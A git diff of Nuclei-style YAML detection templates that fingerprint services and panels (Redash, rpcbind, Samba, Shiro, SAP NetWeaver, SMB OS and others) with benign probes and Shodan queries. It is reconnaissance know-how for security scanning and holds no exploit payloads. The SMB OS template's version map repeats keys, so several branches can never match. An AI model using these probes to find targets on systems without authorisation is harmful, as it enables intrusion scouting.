CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: http.favicon.hash:698624197 + tags: panel,redash -requests: +http: - method: GET path: - - '{{BaseURL}}/' - redirects: true + - "{{BaseURL}}/login" + matchers-condition: and matchers: - type: word + part: body words: - - 'Login to Redash' + - "Login to Redash" + - "Login | Redash" + condition: or + + - type: status + status: + - 200 + +# digest: 4a0a00473045022072e6dceca96b03a295e4c35c9d112648208584fa10d3df8c56da8702a4795657022100c43d8443fdc659183b0bad3ba7d1c0e4b7b4e65d5a79017681dc74c11e7408de:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/redash-detection.yml b/poc/detect/redash-detection.yml new file mode 100644 index 0000000000..9d227221ec --- /dev/null +++ b/poc/detect/redash-detection.yml @@ -0,0 +1,18 @@ +id: redash-panel + +info: + name: Redash Panel + author: Adam Crosser + severity: info + tags: panel + +requests: + - method: GET + path: + - '{{BaseURL}}/' + redirects: true + + matchers: + - type: word + words: + - 'Login to Redash' diff --git a/poc/detect/redcap-detector-9849.yaml b/poc/detect/redcap-detector-9850.yaml similarity index 100% rename from poc/detect/redcap-detector-9849.yaml rename to poc/detect/redcap-detector-9850.yaml diff --git a/poc/detect/redcap-detector.yaml b/poc/detect/redcap-detector.yaml new file mode 100644 index 0000000000..92d8687e1b --- /dev/null +++ b/poc/detect/redcap-detector.yaml @@ -0,0 +1,26 @@ +id: redcap-detector +info: + name: REDCap detector + author: philippedelteil,retr0 + severity: info + tags: redcap,tech +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + words: + - 'REDCap' + - 'Vanderbilt University' + condition: and + - type: status + status: + - 200 + extractors: + - type: regex + part: body + group: 1 + regex: + - 'REDCap ([0-9-.]+)' diff --git a/poc/detect/redmine-cli-detect-9853.yaml b/poc/detect/redmine-cli-detect-9853.yaml deleted file mode 100644 index aa81c8dc72..0000000000 --- a/poc/detect/redmine-cli-detect-9853.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: redmine-cli-detect -info: - name: Detect Redmine CLI Configuration File - author: geeknik - description: A small command-line utility to interact with Redmine - https://pypi.org/project/Redmine-CLI/ - severity: info -requests: - - method: GET - path: - - "{{BaseURL}}/.redmine-cli" - matchers-condition: and - matchers: - - type: word - part: body - words: - - default - - my_id - - root_url - condition: and - - type: status - status: - - 200 diff --git a/poc/detect/redmine-cli-detect-9856.yaml b/poc/detect/redmine-cli-detect-9856.yaml index 8cb08b7888..aa81c8dc72 100644 --- a/poc/detect/redmine-cli-detect-9856.yaml +++ b/poc/detect/redmine-cli-detect-9856.yaml @@ -4,13 +4,10 @@ info: author: geeknik description: A small command-line utility to interact with Redmine - https://pypi.org/project/Redmine-CLI/ severity: info - tags: tech,redmine - requests: - method: GET path: - "{{BaseURL}}/.redmine-cli" - matchers-condition: and matchers: - type: word @@ -20,7 +17,6 @@ requests: - my_id - root_url condition: and - - type: status status: - 200 diff --git a/poc/detect/rhymix-cms-detect-9877.yaml b/poc/detect/rhymix-cms-detect-9877.yaml deleted file mode 100644 index 6314a0e45f..0000000000 --- a/poc/detect/rhymix-cms-detect-9877.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: rhymix-cms-detect -info: - name: Rhymix CMS Detect - author: gy741 - severity: info - description: Detects Rhymix CMS - reference: - - https://github.com/rhymix/rhymix - tags: tech,rhymix -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: or - matchers: - - type: word - part: header - words: - - 'rx_sesskey1' - - type: word - part: body - words: - - '' diff --git a/poc/detect/rhymix-cms-detect-9878.yaml b/poc/detect/rhymix-cms-detect-9878.yaml new file mode 100644 index 0000000000..c62f8f086a --- /dev/null +++ b/poc/detect/rhymix-cms-detect-9878.yaml @@ -0,0 +1,22 @@ +id: rhymix-cms-detect +info: + name: Rhymix CMS Detect + author: gy741 + severity: info + description: Detects Rhymix CMS + tags: tech,rhymix + reference: https://github.com/rhymix/rhymix +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: or + matchers: + - type: word + part: header + words: + - 'rx_sesskey1' + - type: word + part: body + words: + - '' diff --git a/poc/detect/rhymix-cms-detect-9879.yaml b/poc/detect/rhymix-cms-detect-9879.yaml index 2e2299fb4f..6314a0e45f 100644 --- a/poc/detect/rhymix-cms-detect-9879.yaml +++ b/poc/detect/rhymix-cms-detect-9879.yaml @@ -1,26 +1,22 @@ id: rhymix-cms-detect - info: name: Rhymix CMS Detect author: gy741 severity: info description: Detects Rhymix CMS + reference: + - https://github.com/rhymix/rhymix tags: tech,rhymix - reference: https://github.com/rhymix/rhymix - requests: - method: GET path: - "{{BaseURL}}" - matchers-condition: or matchers: - - type: word part: header words: - 'rx_sesskey1' - - type: word part: body words: diff --git a/poc/detect/rpcbind-portmapper-detect.yaml b/poc/detect/rpcbind-portmapper-detect.yaml new file mode 100644 index 0000000000..bff4819a5c --- /dev/null +++ b/poc/detect/rpcbind-portmapper-detect.yaml @@ -0,0 +1,31 @@ +id: rpcbind-portmapper-detect + +info: + name: Rpcbind Portmapper - Detect + author: geeknik + severity: info + description: Rpcbind portmapper was detected. + reference: https://book.hacktricks.xyz/pentesting/pentesting-rpcbind + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: port:"111" + verified: true + tags: network,rpcbind,portmap,detect + +tcp: + - inputs: + - data: 8000002836ed646d0000000000000002000186a0000000040000000400000000000000000000000000000000 + type: hex + + host: + - "{{Hostname}}" + port: 111 + + matchers: + - type: word + words: + - "/run/rpcbind.sock" +# digest: 4b0a00483046022100d9265d34f5765ac8f6f4716a9aaccb2c566c6276019a306ab138208d0c971d8f022100eefe6b25c11f23f989f9b7f09450ad8b9a335b2bef4419ce3315f62746443c51:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/rseenet-detect-9916.yaml b/poc/detect/rseenet-detect-9916.yaml deleted file mode 100644 index 4a788c516d..0000000000 --- a/poc/detect/rseenet-detect-9916.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: rseenet-detect - -info: - name: Advantech R-SeeNet Detection - author: pdteam - severity: info - reference: - - https://icr.advantech.cz/products/software/r-seenet - metadata: - max-request: 1 - shodan-query: http.title:"R-SeeNet" - tags: tech,rseenet - -http: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - type: regex - part: body - regex: - - 'R-SeeNet (.*)' - - extractors: - - type: regex - group: 1 - regex: - - 'R-SeeNet (.*)' - -# digest: 4a0a00473045022046b9f1935cc337f010d6a348323d13f3848bf5ef9dfc81a1ebf3a37a77f6ace5022100d44a0bce5f1020e203f233e9822ed6c6107ae109b96326e91832fc6d358000e6:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/rseenet-detect.yaml b/poc/detect/rseenet-detect.yaml new file mode 100644 index 0000000000..a18280dc21 --- /dev/null +++ b/poc/detect/rseenet-detect.yaml @@ -0,0 +1,23 @@ +id: rseenet-detect +info: + name: Advantech R-SeeNet Detection + author: pdteam + severity: info + reference: https://icr.advantech.cz/products/software/r-seenet + metadata: + shodan-query: http.title:"R-SeeNet" + tags: tech,rseenet +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: regex + part: body + regex: + - 'R-SeeNet (.*)' + extractors: + - type: regex + group: 1 + regex: + - 'R-SeeNet (.*)' diff --git a/poc/detect/rsyncd-service-detect.yaml b/poc/detect/rsyncd-service-detect.yaml new file mode 100644 index 0000000000..b146a8b776 --- /dev/null +++ b/poc/detect/rsyncd-service-detect.yaml @@ -0,0 +1,37 @@ +id: rsyncd-service-detect + +info: + name: Rsyncd Service - Detect + author: vsh00t,geeknik + severity: info + description: | + Rsyncd service was detected. + reference: + - https://linux.die.net/man/1/rsync + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: network,rsyncd,detect + +tcp: + - inputs: + - data: "?\r\n" + + host: + - "{{Hostname}}" + port: 873 + + matchers: + - type: word + words: + - "RSYNCD: " + - "ERROR: protocol startup error" + condition: and + + extractors: + - type: regex + regex: + - 'RSYNCD: \d\d.\d' +# digest: 4a0a00473045022100a01f82794d7c57e0cd131c71b9cb4949148898db44290331b489bb9ccd94226a022023a162c37c2395e9dd08e505d9fbcf33ef612d1ec61f45d643e6c06e2044408b:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/rtsp-detect.yaml b/poc/detect/rtsp-detect.yaml new file mode 100644 index 0000000000..330b2e95be --- /dev/null +++ b/poc/detect/rtsp-detect.yaml @@ -0,0 +1,34 @@ +id: rtsp-detect + +info: + name: RTSP - Detect + author: pussycat0x + severity: info + description: | + RTSP was detected. + reference: | + https://nmap.org/nsedoc/scripts/rtsp-methods.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: RTSP/1.0 + verified: true + tags: network,rtsp,detect + +tcp: + - inputs: + - data: 4f5054494f4e53207369703a6e6d205349502f322e300d0a5669613a205349502f322e302f544350206e6d3b6272616e63683d666f6f0d0a46726f6d3a203c7369703a6e6d406e6d3e3b7461673d726f6f740d0a546f3a203c7369703a6e6d32406e6d323e0d0a43616c6c2d49443a2035303030300d0a435365713a203432204f5054494f4e530d0a4d61782d466f7277617264733a2037300d0a436f6e74656e742d4c656e6774683a20300d0a436f6e746163743a203c7369703a6e6d406e6d3e0d0a4163636570743a206170706c69636174696f6e2f7364700d0a0d0a + type: hex + + host: + - "{{Hostname}}" + port: 554 + read-size: 1024 + + matchers: + - type: word + words: + - "RTSP/1.0" +# digest: 490a004630440220557415113558cbaced99e38f6813cb5b5af7d976d2543c449a39b3d3faff5a9902204d2d4dbb9342d96046e7a951d5ab8a4f9adb7e54a01e0af8bc035ee7195b0b2a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/s3-detect-9965.yaml b/poc/detect/s3-detect-9965.yaml index 3ed37bb68e..7868591be0 100644 --- a/poc/detect/s3-detect-9965.yaml +++ b/poc/detect/s3-detect-9965.yaml @@ -1,11 +1,8 @@ id: s3-detect - info: name: Detect Amazon-S3 Bucket author: melbadry9 severity: info - tags: aws,s3,bucket,tech - requests: - method: GET path: diff --git a/poc/detect/sage-detect-9977.yaml b/poc/detect/sage-detect-9977.yaml new file mode 100644 index 0000000000..5e8f704a2e --- /dev/null +++ b/poc/detect/sage-detect-9977.yaml @@ -0,0 +1,24 @@ +id: sage-detect + +info: + name: Sage X3 Detect + author: pikpikcu + severity: info + tags: tech,sage + +requests: + - method: GET + path: + - "{{BaseURL}}/auth/login/page" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "Sage X3" + + - type: status + status: + - 200 diff --git a/poc/detect/sage-detect.yaml b/poc/detect/sage-detect.yaml index 5e8f704a2e..7948528b67 100644 --- a/poc/detect/sage-detect.yaml +++ b/poc/detect/sage-detect.yaml @@ -1,24 +1,19 @@ id: sage-detect - info: name: Sage X3 Detect author: pikpikcu severity: info tags: tech,sage - requests: - method: GET path: - "{{BaseURL}}/auth/login/page" - matchers-condition: and matchers: - - type: word part: body words: - "Sage X3" - - type: status status: - 200 diff --git a/poc/detect/samba-detect-9989.yaml b/poc/detect/samba-detect-9989.yaml new file mode 100644 index 0000000000..1bd21fd9d7 --- /dev/null +++ b/poc/detect/samba-detect-9989.yaml @@ -0,0 +1,25 @@ +id: samba-detection +info: + name: Samba Detection + author: pussycat0x + severity: info + description: Samba is a free and open-source software that allows files to be shared across Windows and Linux systems simply and easily. + reference: + - https://www.samba.org/samba/what_is_samba.html + - https://www.samba.org/samba/history/security.html + classification: + cwe-id: CWE-200 + remediation: Always apply the latest security patch. + tags: network,smb,samba +network: + - inputs: + - data: 000000a4ff534d4272000000000801400000000000000000000000000000400600000100008100025043204e4554574f524b2050524f4752414d20312e3000024d4943524f534f4654204e4554574f524b5320312e303300024d4943524f534f4654204e4554574f524b5320332e3000024c414e4d414e312e3000024c4d312e3258303032000253616d626100024e54204c414e4d414e20312e3000024e54204c4d20302e313200 + type: hex + host: + - "{{Hostname}}" + - "{{Host}}:139" + matchers: + - type: word + words: + - "SMBr" +# Enhanced by mp on 2022/02/09 diff --git a/poc/detect/samba-detect-9990.yaml b/poc/detect/samba-detect-9990.yaml deleted file mode 100644 index 433010b743..0000000000 --- a/poc/detect/samba-detect-9990.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: samba-detection -info: - name: samba detection - author: pussycat0x - severity: info - tags: network,smb,samba -network: - - inputs: - - data: 000000a4ff534d4272000000000801400000000000000000000000000000400600000100008100025043204e4554574f524b2050524f4752414d20312e3000024d4943524f534f4654204e4554574f524b5320312e303300024d4943524f534f4654204e4554574f524b5320332e3000024c414e4d414e312e3000024c4d312e3258303032000253616d626100024e54204c414e4d414e20312e3000024e54204c4d20302e313200 - type: hex - host: - - "{{Hostname}}" - - "{{Host}}:139" - matchers: - - type: word - words: - - "SMBr" diff --git a/poc/detect/samsung-printer-detect.yaml b/poc/detect/samsung-printer-detect.yaml index e203a00e6e..883f060872 100644 --- a/poc/detect/samsung-printer-detect.yaml +++ b/poc/detect/samsung-printer-detect.yaml @@ -1,32 +1,20 @@ id: samsung-printer-detect - info: - name: Samsung Printer Panel - Detect + name: SAMSUNG Printer Detection author: pussycat0x severity: info - description: Samsung printer panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 1 - fofa-query: app="SAMSUNG-Printer" tags: iot,panel,samsung,printer - -http: + metadata: + fofa-query: 'app="SAMSUNG-Printer"' +requests: - method: GET path: - "{{BaseURL}}/sws/index.html" - matchers-condition: and matchers: - type: word words: - - 'SyncThru Web Service' - + - ' SyncThru Web Service ' - type: status status: - 200 - -# digest: 4a0a0047304502206e15842b403d0c1a0df47a437ec6d65681e28b920c967545d00eacce8be0f48c022100e83c41891a01c670daf11ec2d6fc5443570508d5abcb94d589874676937f826d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/sap-netweaver-detect-10044.yaml b/poc/detect/sap-netweaver-detect-10044.yaml new file mode 100644 index 0000000000..6f43c6ff6a --- /dev/null +++ b/poc/detect/sap-netweaver-detect-10044.yaml @@ -0,0 +1,30 @@ +id: sap-netweaver-detect + +info: + name: SAP NetWeaver ICM Detection + author: randomstr1ng + severity: info + description: Detection of SAP NetWeaver ABAP Webserver (ICM/ICF) + tags: sap,webserver + +requests: + - method: GET + path: + - "{{BaseURL}}" + + redirects: true + max-redirects: 2 + matchers: + - type: regex + part: header + regex: + - "sap-server:" + - "Sap-Server:" + - "SAP NetWeaver Application Server" + condition: or + + extractors: + - type: kval + part: header + kval: + - "server" diff --git a/poc/detect/sap-netweaver-detect-10047.yaml b/poc/detect/sap-netweaver-detect-10047.yaml deleted file mode 100644 index 9fe826a6f5..0000000000 --- a/poc/detect/sap-netweaver-detect-10047.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: sap-netweaver-detect - -info: - name: SAP NetWeaver ICM Detection - author: randomstr1ng - description: Detection of SAP NetWeaver ABAP Webserver (ICM/ICF) - severity: info - tags: sap,webserver - -requests: - - method: GET - path: - - "{{BaseURL}}" - - redirects: true - max-redirects: 2 - matchers: - - type: regex - part: header - regex: - - "sap-server:" - - "Sap-Server:" - - "SAP NetWeaver Application Server" - condition: or - - extractors: - - type: kval - part: header - kval: - - "server" diff --git a/poc/detect/sceditor-detect-10094.yaml b/poc/detect/sceditor-detect-10094.yaml new file mode 100644 index 0000000000..9a760f928e --- /dev/null +++ b/poc/detect/sceditor-detect-10094.yaml @@ -0,0 +1,28 @@ +id: sceditor-detect + +info: + name: SCEditor Detect + author: pikpikcu + severity: info + metadata: + max-request: 1 + tags: tech,sceditor + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + words: + - "Ticket BBCode editor - SCEditor" + - 'title="SCEditor"' + condition: and + + - type: status + status: + - 200 + +# digest: 4a0a00473045022100969eefbde652164896fc0176c36b131fc2cc6f043c9a6dec6251de74293a8309022039d2438182d8e67409001db114578f7b75891f61dbf5d3a6a5c71d84c8a080e0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/sceditor-detect.yaml b/poc/detect/sceditor-detect.yaml deleted file mode 100644 index d9b323edea..0000000000 --- a/poc/detect/sceditor-detect.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: sceditor-detect - -info: - name: SCEditor Detect - author: pikpikcu - severity: info - tags: tech,sceditor - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - words: - - "Ticket BBCode editor - SCEditor" - - 'title="SCEditor"' - condition: and - - type: status - status: - - 200 diff --git a/poc/detect/secmail-detect-10111.yaml b/poc/detect/secmail-detect-10111.yaml index 85eff91832..2ef5f2eefa 100644 --- a/poc/detect/secmail-detect-10111.yaml +++ b/poc/detect/secmail-detect-10111.yaml @@ -4,8 +4,8 @@ info: name: SecMail - secure email Detect author: johnk3r severity: info - reference: - - https://www.shodan.io/search?query=secmail + metadata: + shodan-query: secmail tags: secmail,panel requests: diff --git a/poc/detect/secmail-detect-10112.yaml b/poc/detect/secmail-detect-10112.yaml index 45536712b0..1d505852be 100644 --- a/poc/detect/secmail-detect-10112.yaml +++ b/poc/detect/secmail-detect-10112.yaml @@ -3,8 +3,8 @@ info: name: SecMail - secure email Detect author: johnk3r severity: info - reference: - - https://www.shodan.io/search?query=secmail + metadata: + shodan-query: secmail tags: secmail,panel requests: - method: GET diff --git a/poc/detect/securityspy-detect.yaml b/poc/detect/securityspy-detect.yaml index 9200b97b41..76a69cbbc1 100644 --- a/poc/detect/securityspy-detect.yaml +++ b/poc/detect/securityspy-detect.yaml @@ -1,20 +1,14 @@ id: securityspy-detect info: - name: SecuritySpy Camera Panel - Detect + name: SecuritySpy Camera Detect author: pussycat0x - severity: info - description: SecuritySpy Camera panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 + severity: medium metadata: - max-request: 1 - shodan-query: 'title:SecuritySpy' + shodan-dork: 'title:SecuritySpy' tags: unauth,iot,securityspy,panel,camera -http: +requests: - method: GET path: - "{{BaseURL}}" @@ -29,5 +23,3 @@ http: - type: status status: - 200 - -# digest: 4a0a00473045022002bd0d27112c5583a1a1e79cb069d61a4a8b5a463ad9a4b3ee26f7023f5cd083022100bdd3b9e86e7f48c1d0605634b208214a6204d9d4da98679ad5b0aaae1f2ffbea:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/seeddms-detect-10129.yaml b/poc/detect/seeddms-detect-10131.yaml similarity index 100% rename from poc/detect/seeddms-detect-10129.yaml rename to poc/detect/seeddms-detect-10131.yaml diff --git a/poc/detect/shiro-detect-10195.yaml b/poc/detect/shiro-detect-10195.yaml index 514835edd5..d1b92dd808 100644 --- a/poc/detect/shiro-detect-10195.yaml +++ b/poc/detect/shiro-detect-10195.yaml @@ -1,26 +1,19 @@ id: shiro-detect - info: name: Detect Shiro Framework author: AresX severity: info - metadata: - max-request: 1 tags: tech,shiro - -http: +requests: - method: GET path: - '{{BaseURL}}' - headers: Cookie: JSESSIONID={{randstr}};rememberMe=123; - host-redirects: true + redirects: true max-redirects: 2 matchers: - type: word part: header words: - "rememberMe=deleteMe" - -# digest: 4a0a00473045022100ef5b22652ce1d79a4b00ae2a53eee9f78b2c0042daa5c736c85a1add769cc14602203bfd13125a69cbb3928016a681afc1e1c6eee18343fda64679c693997c0e4860:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/shiro-detect-10196.yaml b/poc/detect/shiro-detect-10196.yaml deleted file mode 100644 index d1b92dd808..0000000000 --- a/poc/detect/shiro-detect-10196.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: shiro-detect -info: - name: Detect Shiro Framework - author: AresX - severity: info - tags: tech,shiro -requests: - - method: GET - path: - - '{{BaseURL}}' - headers: - Cookie: JSESSIONID={{randstr}};rememberMe=123; - redirects: true - max-redirects: 2 - matchers: - - type: word - part: header - words: - - "rememberMe=deleteMe" diff --git a/poc/detect/shopware-detect-10211.yaml b/poc/detect/shopware-detect-10211.yaml deleted file mode 100644 index edf59386b6..0000000000 --- a/poc/detect/shopware-detect-10211.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: shopware-detect -info: - name: Shopware CMS detect - author: cyllective - severity: info - description: Detects Shopware CMS - reference: - - https://github.com/shopware/shopware - - https://github.com/shopware/platform - tags: tech,shopware,cms -requests: - - method: GET - path: - - "{{BaseURL}}/admin" - - "{{BaseURL}}/backend" - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Realisiert mit Shopware' - - 'Realised with Shopware' - - 'Shopware Administration (c) shopware AG' - - 'Shopware 5 - Backend (c) shopware AG' - condition: or - - type: status - status: - - 200 diff --git a/poc/detect/shopware-detect-10212.yaml b/poc/detect/shopware-detect-10212.yaml index 290d5bfe2c..edf59386b6 100644 --- a/poc/detect/shopware-detect-10212.yaml +++ b/poc/detect/shopware-detect-10212.yaml @@ -4,21 +4,25 @@ info: author: cyllective severity: info description: Detects Shopware CMS - tags: tech,shopware,cms reference: - https://github.com/shopware/shopware - https://github.com/shopware/platform + tags: tech,shopware,cms requests: - method: GET path: - "{{BaseURL}}/admin" - "{{BaseURL}}/backend" + matchers-condition: and matchers: - type: word part: body - condition: or words: - 'Realisiert mit Shopware' - 'Realised with Shopware' - 'Shopware Administration (c) shopware AG' - 'Shopware 5 - Backend (c) shopware AG' + condition: or + - type: status + status: + - 200 diff --git a/poc/detect/simplesamlphp-detect.yaml b/poc/detect/simplesamlphp-detect.yaml new file mode 100644 index 0000000000..a9bfcaffe4 --- /dev/null +++ b/poc/detect/simplesamlphp-detect.yaml @@ -0,0 +1,31 @@ +id: simplesamlphp-detect + +info: + name: SimpleSAMLphp - Detect + author: righettod + severity: info + description: | + SimpleSAMLphp was detected. + reference: + - https://simplesamlphp.org/ + metadata: + max-request: 1 + verified: true + shodan-query: http.title:"SimpleSAMLphp installation page" + tags: tech,simplesamlphp,detect + +http: + - method: GET + path: + - "{{BaseURL}}/simplesaml/module.php/core/frontpage_welcome.php" + - "{{BaseURL}}/module.php/core/frontpage_welcome.php" + + stop-at-first-match: true + + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains_any(to_lower(body), "you have successfully installed simplesamlphp", "simplesamlphp installation page", "/module.php/core/login-admin.php")' + condition: and +# digest: 4a0a0047304502202e32a049b8845aa2680efc64591d51e88b6c2db0c04766e42cfd847855a9df12022100ab0b70175aaea1c484cda3c2dbec516e9ca3a1dcb5f52b227c630a185d5bacb0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/sitemap-detect.yaml b/poc/detect/sitemap-detect.yaml index b14ed90663..d7069a6c82 100644 --- a/poc/detect/sitemap-detect.yaml +++ b/poc/detect/sitemap-detect.yaml @@ -2,13 +2,17 @@ id: sitemap-detect info: name: Sitemap Detection - author: houdinis,Arqsz + author: houdinis severity: info description: | A sitemap is a file where you provide information about the pages, videos, and other files on your site, and the relationships between them. - tags: basic,remote,sitemap + metadata: + verified: true + max-request: 3 + google-query: intext:"sitemap" filetype:txt,filetype:xml inurl:sitemap,inurl:"/sitemap.xsd" ext:xsd + tags: misc,generic,sitemap -requests: +http: - method: GET path: - "{{BaseURL}}/sitemap.xml" @@ -16,22 +20,21 @@ requests: - "{{BaseURL}}/sitemap.xsd" stop-at-first-match: true + matchers-condition: and matchers: - type: word words: - - "sitemap" - - "" case-insensitive: true - condition: or - type: word part: header words: - 'application/xml' - - 'text/xml' - condition: or - type: status status: - - 200 \ No newline at end of file + - 200 + +# digest: 4a0a004730450221008a81d638c6e5b4d57ccb3e1bea2a5f4b3329fb9b997c44a69ff407885c97657002201084ce876d67e848ebdfddafe5971be5f975d54deb95dbab9a7d23826cd1594d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/smartstore-detect-10333.yaml b/poc/detect/smartstore-detect-10333.yaml index 110fd55841..c01c1a8708 100644 --- a/poc/detect/smartstore-detect-10333.yaml +++ b/poc/detect/smartstore-detect-10333.yaml @@ -3,10 +3,11 @@ info: name: SmartStore Detect author: princechaddha severity: info - reference: https://github.com/smartstore/SmartStoreNET + reference: + - https://github.com/smartstore/SmartStoreNET metadata: shodan-query: http.html:'content="Smartstore' - tags: tech,smartstore,oos + tags: tech,smartstore,oss requests: - method: GET path: diff --git a/poc/detect/smartstore-detect-10334.yaml b/poc/detect/smartstore-detect-10334.yaml index 422d7c915a..d3aa558182 100644 --- a/poc/detect/smartstore-detect-10334.yaml +++ b/poc/detect/smartstore-detect-10334.yaml @@ -1,5 +1,4 @@ id: smartstore-detect - info: name: SmartStore Detect author: princechaddha @@ -7,25 +6,20 @@ info: reference: https://github.com/smartstore/SmartStoreNET metadata: shodan-query: http.html:'content="Smartstore' - tags: tech,smartstore,oos - + tags: tech,smartstore,oss requests: - method: GET path: - "{{BaseURL}}" - matchers-condition: and matchers: - - type: regex part: body regex: - '' - - type: status status: - 200 - extractors: - type: regex part: body diff --git a/poc/detect/smb-os-detect.yaml b/poc/detect/smb-os-detect.yaml new file mode 100644 index 0000000000..59b4d0ada9 --- /dev/null +++ b/poc/detect/smb-os-detect.yaml @@ -0,0 +1,159 @@ +id: smb-os-detect + +info: + name: SMB Operating System - Detect + author: pussycat0x + severity: info + description: | + Detect Operating System + reference: + - https://nmap.org/nsedoc/scripts/smb-os-discovery.html + metadata: + max-request: 1 + shodan-query: "port:445" + tags: js,network,smb,enum,os +javascript: + - code: | + var m = require("nuclei/smb"); + var c = new m.SMBClient(); + var response = c.ListSMBv2Metadata(Host, Port); + if (response.OSVersion === "6.3.9600") { + osInfo = "Windows 8.1"; + } else if (response.OSVersion === "3.10.511") { + osInfo = "Windows NT 3.1"; + } else if (response.OSVersion === "3.50.807") { + osInfo = "Windows NT 3.5"; + } else if (response.OSVersion === "3.10.528") { + osInfo = "Windows NT 3.1, Service Pack 3"; + } else if (response.OSVersion === "3.51.1057") { + osInfo = "Windows NT 3.51"; + } else if (response.OSVersion === "4.00.950") { + osInfo = "Windows 95"; + } else if (response.OSVersion === "4.00.950A") { + osInfo = "Windows 95 OEM Service Release 1"; + } else if (response.OSVersion === "4.00.950B") { + osInfo = "Windows 95 OEM Service Release 2"; + } else if (response.OSVersion === "4.0.1381") { + osInfo = "Windows NT 4.0"; + } else if (response.OSVersion === "4.00.950B") { + osInfo = "Windows 95 OEM Service Release 2.1"; + } else if (response.OSVersion === "4.00.950C") { + osInfo = "OEM Service Release 2.5"; + } else if (response.OSVersion === "4.10.1998") { + osInfo = "Windows 98"; + } else if (response.OSVersion === "4.10.2222") { + osInfo = "Windows 98 Second Edition (SE)"; + } else if (response.OSVersion === "5.0.2195") { + osInfo = "Windows 2000"; + } else if (response.OSVersion === "4.90.3000") { + osInfo = "Windows Me"; + } else if (response.OSVersion === "5.1.2600") { + osInfo = "Windows XP"; + } else if (response.OSVersion === "5.1.2600.1105-1106") { + osInfo = "Windows XP, Service Pack 1"; + } else if (response.OSVersion === "5.2.3790") { + osInfo = "Windows Server 2003"; + } else if (response.OSVersion === "5.1.2600.2180") { + osInfo = "Windows XP, Service Pack 2"; + } else if (response.OSVersion === "5.2.3790.1180") { + osInfo = "Windows Server 2003, Service Pack 1"; + } else if (response.OSVersion === "5.2.3790") { + osInfo = "Windows Server 2003 R2"; + } else if (response.OSVersion === "6.0.6000") { + osInfo = "Windows Vista"; + } else if (response.OSVersion === "5.2.3790") { + osInfo = "Windows Server 2003, Service Pack 2"; + } else if (response.OSVersion === "5.2.4500") { + osInfo = "Windows Home Server"; + } else if (response.OSVersion === "6.0.6001") { + osInfo = "Windows Vista, Service Pack 1"; + } else if (response.OSVersion === "6.0.6001") { + osInfo = "Windows Server 2008"; + } else if (response.OSVersion === "5.1.2600") { + osInfo = "Windows XP, Service Pack 3"; + } else if (response.OSVersion === "6.0.6002") { + osInfo = "Windows Vista, Service Pack 2"; + } else if (response.OSVersion === "6.0.6002") { + osInfo = "Windows Server 2008, Service Pack 2"; + } else if (response.OSVersion === "6.1.7600") { + osInfo = "Windows 7"; + } else if (response.OSVersion === "6.1.7600") { + osInfo = "Windows Server 2008 R2"; + } else if (response.OSVersion === "6.1.7601") { + osInfo = "Windows 7, Service Pack 1"; + } else if (response.OSVersion === "6.1.7601") { + osInfo = "Windows Server 2008 R2, Service Pack "; + } else if (response.OSVersion === "6.1.8400") { + osInfo = "Windows Home Server 2011"; + } else if (response.OSVersion === "6.2.9200") { + osInfo = "Windows Server 2012"; + } else if (response.OSVersion === "6.2.9200") { + osInfo = "Windows 8"; + } else if (response.OSVersion === "6.3.9600") { + osInfo = "Windows 8.1"; + } else if (response.OSVersion === "6.3.9600") { + osInfo = "Windows Server 2012 R2"; + } else if (response.OSVersion === "10.0.10240") { + osInfo = "Windows 10, Version 1507"; + } else if (response.OSVersion === "10.0.10586") { + osInfo = "Windows 10, Version 1511"; + } else if (response.OSVersion === "10.0.14393") { + osInfo = "Windows 10, Version 1607"; + } else if (response.OSVersion === "10.0.14393") { + osInfo = "Windows Server 2016, Version 1607"; + } else if (response.OSVersion === "10.0.15063") { + osInfo = "Windows 10, Version 1703"; + } else if (response.OSVersion === "10.0.16299") { + osInfo = 